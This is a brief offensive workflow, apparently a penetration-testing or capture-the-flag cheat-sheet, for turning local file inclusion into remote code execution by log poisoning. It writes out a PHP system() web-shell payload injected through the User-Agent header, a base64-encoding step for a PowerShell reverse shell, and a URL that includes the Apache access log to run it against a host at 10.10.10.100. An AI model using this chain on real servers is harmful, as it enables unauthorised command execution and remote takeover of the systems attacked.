# Log Poisoning Workflow
# 1. Go to http://10.10.10.100/index.php and modify user agent to "Chrome 4.0 <? php echo system($_GET['cmd']); ?>"
# 2. Get a powershell reverse shell and encode it (cat shell.ps1 | iconv -t UTF-16LE | base64 -w 0) 
# 3. http://10.10.10.100/index.php?page=apache/access.log&cmd=URL_ENCODE(powershell -encodedcommand <b64_result_above>)
